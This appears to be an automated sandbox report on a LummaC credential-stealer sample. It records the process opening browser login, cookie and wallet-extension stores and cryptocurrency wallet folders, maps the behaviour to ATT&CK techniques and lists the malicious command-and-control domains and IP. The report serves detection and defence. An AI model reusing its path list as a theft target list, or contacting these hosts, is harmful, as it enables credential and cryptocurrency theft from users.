Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	11 Virtualization/Sandbox Evasion	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	311 Process Injection	LSASS Memory	131 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	31 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	11 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	33 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
greetclassifytalk.shop	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
incredibleextedwj.shop	0%	Avira URL Cloud	safe
https://greetclassifytalk.shop//	0%	Avira URL Cloud	safe
greetclassifytalk.shop	0%	Avira URL Cloud	safe
demonstationfukewko.shop	0%	Avira URL Cloud	safe
shortsvelventysjo.shop	0%	Avira URL Cloud	safe
productivelookewr.shop	0%	Avira URL Cloud	safe
tolerateilusidjukl.shop	0%	Avira URL Cloud	safe
https://greetclassifytalk.shop//	1%	Virustotal		Browse
https://greetclassifytalk.shop/api	100%	Avira URL Cloud	malware
demonstationfukewko.shop	21%	Virustotal		Browse
shortsvelventysjo.shop	20%	Virustotal		Browse
liabilitynighstjsko.shop	0%	Avira URL Cloud	safe
greetclassifytalk.shop	1%	Virustotal		Browse
incredibleextedwj.shop	14%	Virustotal		Browse
https://greetclassifytalk.shop/apiM	0%	Avira URL Cloud	safe
productivelookewr.shop	16%	Virustotal		Browse
shatterbreathepsw.shop	0%	Avira URL Cloud	safe
https://greetclassifytalk.shop:443/api	100%	Avira URL Cloud	malware
liabilitynighstjsko.shop	17%	Virustotal		Browse
tolerateilusidjukl.shop	14%	Virustotal		Browse
https://greetclassifytalk.shop/api	12%	Virustotal		Browse
alcojoldwograpciw.shop	0%	Avira URL Cloud	safe
https://greetclassifytalk.shop/	0%	Avira URL Cloud	safe
alcojoldwograpciw.shop	21%	Virustotal		Browse
https://greetclassifytalk.shop:443/api	12%	Virustotal		Browse
shatterbreathepsw.shop	17%	Virustotal		Browse
https://greetclassifytalk.shop/	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
greetclassifytalk.shop	172.67.177.98	true	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
demonstationfukewko.shop	true	21%, Virustotal, Browse Avira URL Cloud: safe	unknown
incredibleextedwj.shop	true	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
greetclassifytalk.shop	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
shortsvelventysjo.shop	true	20%, Virustotal, Browse Avira URL Cloud: safe	unknown
productivelookewr.shop	true	16%, Virustotal, Browse Avira URL Cloud: safe	unknown
tolerateilusidjukl.shop	true	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://greetclassifytalk.shop/api	true	12%, Virustotal, Browse Avira URL Cloud: malware	unknown
liabilitynighstjsko.shop	true	17%, Virustotal, Browse Avira URL Cloud: safe	unknown
shatterbreathepsw.shop	true	17%, Virustotal, Browse Avira URL Cloud: safe	unknown
alcojoldwograpciw.shop	true	21%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://greetclassifytalk.shop//	RegAsm.exe, 00000001.00000002.1731031768.0000000000716000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://greetclassifytalk.shop/apiM	RegAsm.exe, 00000001.00000002.1730875734.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://greetclassifytalk.shop:443/api	RegAsm.exe, 00000001.00000002.1730875734.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	false	12%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://greetclassifytalk.shop/	RegAsm.exe, 00000001.00000002.1730875734.00000000006FC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.1731419929.000000000076B000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.177.98	greetclassifytalk.shop	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1433969
Start date and time:	2024-04-30 11:44:04 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
